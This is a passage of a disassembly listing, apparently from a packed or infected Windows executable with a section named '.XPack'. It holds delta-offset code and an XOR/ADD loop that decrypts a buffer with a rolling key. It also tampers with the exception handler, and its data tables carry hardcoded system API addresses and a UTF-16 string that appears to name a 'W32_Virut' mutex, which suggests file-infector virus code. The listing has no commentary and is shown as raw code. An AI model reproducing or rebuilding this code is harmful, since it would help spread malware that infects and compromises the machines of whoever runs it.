add eax, dword ptr ss:loc_40106D[ebp]
and dword ptr [edi+6Dh], 0
loc_4FC0DF: ; CODE XREF: sub_4FBE56+274j
sub eax, [ebx+28h]
push dword ptr [ebp+40397Eh]
mov [edi+52h], eax
pop dword ptr [esi+20h]
test dword ptr [ebp+403431h], 80000000h
jz short loc_4FC104
push edx
call sub_4FBA2A
pop edx
loc_4FC104: ; CODE XREF: sub_4FBE56+2A5j
mov ecx, [ebp+4039AEh]
jecxz short loc_4FC10F
mov [ebx+28h], ecx
loc_4FC10F: ; CODE XREF: sub_4FBE56+2B4j
mov ecx, [edx+10h]
mov eax, [ebp+403976h]
cmp [edx+8], ecx
jnb short loc_4FC120
mov [edx+8], ecx
loc_4FC120: ; CODE XREF: sub_4FBE56+2C5j
add [edx+10h], eax
and dword ptr [ebx+58h], 0
mov eax, [ebp+40397Ah]
push 243Ch
add [edx+8], eax
pop ecx
add [ebx+50h], eax
mov dl, [ebp+40342Fh]
test dword ptr [ebp+403431h], 10000000h
jz short loc_4FC151
add ecx, dword ptr ss:loc_40106D[ebp]
loc_4FC151: ; CODE XREF: sub_4FBE56+2F3j
mov dh, 0
test dword ptr [ebp+403431h], 20000h
jnz short loc_4FC173
inc dh
test dword ptr [ebp+403431h], 40000h
jnz short loc_4FC173
mov dh, [ebp+403430h]
loc_4FC173: ; CODE XREF: sub_4FBE56+307j
; sub_4FBE56+315j
test dword ptr [ebp+403431h], 4000h
jnz short loc_4FC18A
loc_4FC17F: ; CODE XREF: sub_4FBE56+330j
mov al, [edi]
add al, dl
stosb
add dl, dh
loop loc_4FC17F
jmp short loc_4FC193
; ---------------------------------------------------------------------------
loc_4FC18A: ; CODE XREF: sub_4FBE56+327j
; sub_4FBE56+33Bj
mov al, [edi]
xor al, dl
stosb
add dl, dh
loop loc_4FC18A
loc_4FC193: ; CODE XREF: .XPack:004FBE51j
; sub_4FBE56+11j ...
xor edx, edx
mov esp, fs:[edx]
pop dword ptr fs:[edx]
pop eax
sub_4FBE56 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4FC19C proc near ; CODE XREF: sub_4FBE56+11Cp
cmp dword ptr [ebp+403956h], 0
jz locret_4FBD31
push dword ptr [ebp+403972h]
call dword ptr [ebp+4035C4h]
loc_4FC1B5: ; CODE XREF: sub_4FBC60+C5j
push dword ptr [ebp+40396Eh]
call dword ptr ss:loc_40353C[ebp]
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push dword ptr [ebp+403956h]
call dword ptr ss:loc_4035B8[ebp]
loc_4FC1DD: ; CODE XREF: sub_4FBC60+6Bj
; sub_4FBC60+82j ...
push dword ptr [ebp+403956h]
call dword ptr ss:loc_40353C[ebp]
loc_4FC1E9: ; CODE XREF: sub_4FBC60+45j
lea esi, [ebp+40384Eh]
push dword ptr ss:loc_403952[ebp]
push esi
call dword ptr [ebp+4035B4h]
and dword ptr [ebp+403956h], 0
retn
sub_4FC19C endp
; ---------------------------------------------------------------------------
dd 0E8h, 16A5D00h, 3349ED81h, 0F0580040h, 8085C10Fh, 85004015h
dd 0C883C3C0h, 0C10FF0FFh, 40158085h, 103DC300h, 75002A00h
dd 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h, 7EE80575h
dd 0E8FFFFFBh, 0FFFFFFD2h, 2DFF2E61h, 12345678h, 25B8h
dd 0A5E86000h, 75FFFFFFh, 24448B39h, 4EB58D30h, 8B004038h
dd 81660850h, 7302063Ah, 685625h, 8B00FF00h, 52006AC4h
dd 0F895FF50h, 83004035h, 3E8108C4h, 5C3F3F5Ch, 0C6830375h
dd 0FB2BE804h, 7FE8FFFFh, 61FFFFFFh, 74B8C3h, 0B1EB0000h
dd 2FB8h, 10E800h, 20C20000h, 30B800h, 3E80000h, 0C2000000h
dd 548D0024h, 2ECD0C24h, 7C00F883h, 0E86019h, 8B000000h
dd 5D302454h, 0ED811A8Bh, 403413h, 0FFE539E8h, 4C261FFh
dd 3020600h, 0EF050701h, 103DE71Ah, 8C15FF06h, 90010010h
dd 3Bh dup(0)
dd 3BEE39D0h, 478F2C88h, 96A538D4h, 79F5B87Dh, 88BEB15Bh
dd 7C809B47h, 7C8308ADh, 7C910331h, 7C80ADA0h, 3 dup(0)
dd 7C80BDB6h, 7C801A24h, 7C80945Ch, 7C802367h, 7C81042Ch
dd 7C810637h, 7C864B0Fh, 7C80C058h, 7C80E7ECh, 7C81153Ch
dd 7C810A77h, 7C831C45h, 7C80B6A1h, 7C8608FFh, 7C835DCAh
dd 7C8111DAh, 7C812ADEh, 7C801D77h, 7C80B905h, 7C80BB76h
dd 7C8309E1h, 7C863DE5h, 7C863F58h, 7C812782h, 7C831CB8h
dd 7C802442h, 7C810B1Ch, 7C80B974h, 7C809A51h, 7C810D87h
dd 7C90D460h, 7C90D682h, 7C90D754h, 7C90D769h, 7C90D793h
dd 7C90DC55h, 7C90DCFDh, 7C90DD90h, 7C90DEB6h, 7C90EA32h
dd 7C9130C6h, 15h dup(0)
dd 380036h, 4FC518h, 42005Ch, 730061h, 4E0065h, 6D0061h
dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h
dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0)
dd 710000h, 0Ch dup(0)
dd 9DF00000h, 4Fh, 115Ch dup(0)
_XPack ends
; Section 3. (virtual address 00101000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00100E00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 501000h
align 2000h
_idata2 ends
end start